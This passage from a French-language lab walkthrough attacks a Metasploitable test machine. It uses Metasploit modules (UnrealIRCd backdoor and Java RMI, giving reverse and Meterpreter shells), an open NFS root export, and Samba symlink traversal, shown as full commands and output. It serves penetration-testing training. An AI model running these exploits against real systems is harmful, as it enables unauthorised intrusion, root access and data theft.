            Unix Command Shell, Reverse TCP SSL (via perl)
17    9   cmd/unix/reverse_ruby                                manual  No
            Unix Command Shell, Reverse TCP (via Ruby)
18    10  cmd/unix/reverse_ruby_ssl                            manual  No
            Unix Command Shell, Reverse TCP SSL (via Ruby)
19    11  cmd/unix/reverse_ssl_double_telnet                   manual  No
            Unix Command Shell, Double Reverse TCP SSL (telnet)
20
21 msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix
      /reverse
22 PAYLOAD => cmd/unix/reverse
```

On peut voir les options du `PAYLOAD` avec la commande `options` désormais.

On définit en LHOST notre IP sur l'interface réseau privé hôte.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.56.115   yes       The target host(s), range CIDR
      identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface
      may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > ifconfig eth1
[*] exec: ifconfig eth1

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.56.114  netmask 255.255.255.0  broadcast
           192.168.56.255
        inet6 fe80::1a48:bca4:d564:58c2  prefixlen 64  scopeid 0x20<
           link>
        ether 08:00:27:88:5a:59  txqueuelen 1000  (Ethernet)
        RX packets 230134  bytes 19110225 (18.2 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 250743  bytes 35448926 (33.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST
   192.168.56.114
LHOST => 192.168.56.114
```

On enfin executer l'exploit, et obtenir notre reverse shell :

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

```

```
[*] Started reverse TCP double handler on 192.168.56.114:4444
[*] 192.168.56.115:6667 - Connected to 192.168.56.115:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.56.115:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo QWVjfmiAcpLxvElQ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "QWVjfmiAcpLxvElQ\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.56.114:4444 -> 192.168.56.115:48374) at 2021-01-26 09:50:33 +0000

id
uid=0(root) gid=0(root)
```

Java RMI

Selectionner le payload

```
msf6 exploit(multi/misc/java_rmi_server) > search type:exploit java_rmi

Matching Modules
================

   #  Name                                                Disclosure Date  Rank       Check  Description
   -  ----                                                ---------------  ----       -----  -----------
   0  exploit/multi/browser/java_rmi_connection_impl      2010-03-31       excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation
   1  exploit/multi/misc/java_rmi_server                  2011-10-15       excellent  No     Java RMI Server Insecure Default Configuration Java Code Execution


Interact with a module by name or index, for example use 1 or use exploit/multi/misc/java_rmi_server

msf6 exploit(multi/misc/java_rmi_server) > use exploit/multi/misc/java_rmi_server
[*] Using configured payload java/meterpreter/reverse_tcp
```

```
msf6 exploit(multi/misc/java_rmi_server) > info

       Name: Java RMI Server Insecure Default Configuration Java Code
          Execution
     Module: exploit/multi/misc/java_rmi_server
   Platform: Java, Linux, OSX, Solaris, Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-15

Provided by:
  mihi

Available targets:
  Id  Name
  --  ----
  0   Generic (Java Payload)
  1   Windows x86 (Native Payload)
  2   Linux x86 (Native Payload)
  3   Mac OS X PPC (Native Payload)
  4   Mac OS X x86 (Native Payload)

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  HTTPDELAY  10               yes       Time that the HTTP Server will
     wait for the payload request
  RHOSTS     192.168.56.115   yes       The target host(s), range CIDR
     identifier, or hosts file with syntax 'file:<path>'
  RPORT      35476            yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network
     interface to listen on. This must be an address on the local
     machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming
     connections
  SSLCert                     no        Path to a custom SSL
     certificate (default is randomly generated)
  URIPATH                     no        The URI to use for this exploit
      (default is random)

[...]
```

Configurer les options :

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.56.115
```

```
RHOST => 192.168.56.115

msf6 exploit(multi/misc/java_rmi_server) > set RPORT 1099
RPORT => 1099
```

Exécuter l'exploit

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.56.114:4444
[*] 192.168.56.115:1099 - Using URL: http://0.0.0.0:8080/J9MvKpXba
[*] 192.168.56.115:1099 - Local IP: http://10.0.2.15:8080/J9MvKpXba
[*] 192.168.56.115:1099 - Server started.
[*] 192.168.56.115:1099 - Sending RMI Header...
[*] 192.168.56.115:1099 - Sending RMI Call...
[*] 192.168.56.115:1099 - Replied to request for payload JAR
[*] Sending stage (58125 bytes) to 192.168.56.115
[*] Meterpreter session 3 opened (192.168.56.114:4444 ->
   192.168.56.115:51105) at 2021-01-26 10:30:19 +0000
[*] 192.168.56.115:1099 - Server stopped.

meterpreter >
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24-16-server (i386)
Meterpreter : java/linux
meterpreter >
```

Erreurs de configuration

NFS

Pour acccéder à un partage de fichier NFS, on a besoin du paquet nfs-common

```
sudo apt install nfs-common
```

On peut utiliser la commande `showmount` pour voir les partages disponibles.

```
$ showmount -e 192.168.56.115

Export list for 192.168.56.115:
/ *
```

La commande nous indique que l'on peut monter `/` soit la racine du système de fichier.

On monte le partage distant avec la commande `mount`.

```
$ mkdir nfs_mnt
```

```
2
3 $ mount -t nfs 192.168.56.115:/ nfs_mnt/
4
5 $ cd nfs_mnt/
6
7 $ ls
8 bin  boot  cdrom  dev  etc  home  initrd  initrd.img  lib  lost+found
     media  mnt  nohup.out  opt  proc  root  sbin  srv  sys  tmp  usr
     var  vmlinuz
```

SMB

Il y a une faille similaire sur le protocole SMB. Ici il on a pas accès directement à l'ensemble du disque. Mais on peut créer un lien vers la racine, ce qui nous donne accès à tout le disque.

On peut lister les partages diponnbles avec **smbmap** :

```
1 $smbmap -H 192.168.56.115
2
3 [+] IP: 192.168.56.115:445  Name: 192.168.56.115
4         Disk
             Permissions Comment
5     ----                                                  -----------
          -------
6     print$                                                NO ACCESS
         Printer Drivers
7     tmp                                                   READ, WRITE oh
         noes!
8     opt                                                   NO ACCESS
9     IPC$                                                  NO ACCESS   IPC
          Service (metasploitable server (Samba 3.0.20-Debian))
10    ADMIN$                                                NO ACCESS   IPC
          Service (metasploitable server (Samba 3.0.20-Debian))
```

On constate que l'on a un **accès READ / WRITE** au partage **tmp**.

On peut s'y connecter avec l'outil **smbclient** de Impacket.

```
1 $locate smbclient.py
2
3 /usr/lib/python3/dist-packages/impacket/examples/smbclient.py
4 /usr/share/doc/python3-impacket/examples/smbclient.py
```

On peut l'exécuter en donnant l'IP de la machine cible en paramètre.

```
1 $python3 /usr/share/doc/python3-impacket/examples/smbclient.py
     192.168.56.115
2 Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
3
```

```
4 Type help for list of commands
5 #
```

La commande **shares** permet de lister les partages disponibles. On utilise la commande **use nom_du_share** pour selectionner un partage :

```
1 Type help for list of commands
2 # shares
3 print$
4 tmp
5 opt
6 IPC$
7 ADMIN$
8
9 # use tmp
```

On peut ensuite utiliser les commande **ls**, **cd** et **get** pour afficher les fichiers, se déplacer, et récupérer des fichiers.

Le partage samba ne contient pas de fichiers intéressants.

On peut voir la version de Samba dans le scan Nmap :

```
1 139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2 445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup:
     WORKGROUP)
```

Searchsploit nous indique qu'il existe un exploit pour la version 3.0.20 :

```
1 $searchsploit samba 3.0
2 ----------------------------------------------------
     ---------------------------------
3  Exploit Title                                     |  Path
4 ----------------------------------------------------
     ---------------------------------
5 [...]
6 Samba 3.0.20 < 3.0.25rc3 - 'Username' map script'  | unix/remote/16320.
     rb
7 Samba 3.0.21 < 3.0.24 - LSA trans names Heap Overf | linux/remote/9950.
     rb
8 [..]
```

On peut utiliser cet exploit avec Metasploit.

Il existe également une erreur de configuration qui permet d'accéder à tous les fichiers. En utilisant l'exploit `samba_symlink_traversal`.

```
1 > search samba symlink
2
3 Matching Modules
```

```
4  ================
5
6     #  Name                                              Disclosure Date
          Rank    Check  Description
7     -  ----                                              ---------------
          ----    -----  -----------
8     0  auxiliary/admin/smb/samba_symlink_traversal
          normal  No     Samba Symlink Directory Traversal
9
10
11 Interact with a module by name or index. For example info 0, use 0 or
       use auxiliary/admin/smb/samba_symlink_traversal
```

On le configure avec les bonnes options

```
1  msf6 auxiliary(admin/smb/samba_symlink_traversal) > options
2
3  Module options (auxiliary/admin/smb/samba_symlink_traversal):
4
5     Name       Current Setting  Required  Description
6     ----       ---------------  --------  -----------
7     RHOSTS     192.168.56.115   yes       The target host(s), range CIDR
          identifier, or hosts file with syntax 'file:<path>'
8     RPORT      445              yes       The SMB service port (TCP)
9     SMBSHARE   tmp              yes       The name of a writeable share
         on the server
10    SMBTARGET  rootfs           yes       The name of the directory that
          should point to the root filesystem
```

Et on l'exécute

```
1  msf6 auxiliary(admin/smb/samba_symlink_traversal) > run
2  [*] Running module against 192.168.56.115
3
4  [*] 192.168.56.115:445 - Connecting to the server...
5  [*] 192.168.56.115:445 - Trying to mount writeable share 'tmp'...
6  [*] 192.168.56.115:445 - Trying to link 'rootfs' to the root filesystem
       ...
7  [*] 192.168.56.115:445 - Now access the following share to browse the
       root filesystem:
8  [*] 192.168.56.115:445 -        \\192.168.56.115\tmp\rootfs\
9
10 [*] Auxiliary module execution completed
```

On peut désormais accéder à tous les fichiers à travers le dossier `rootfs` du partage `tmp`.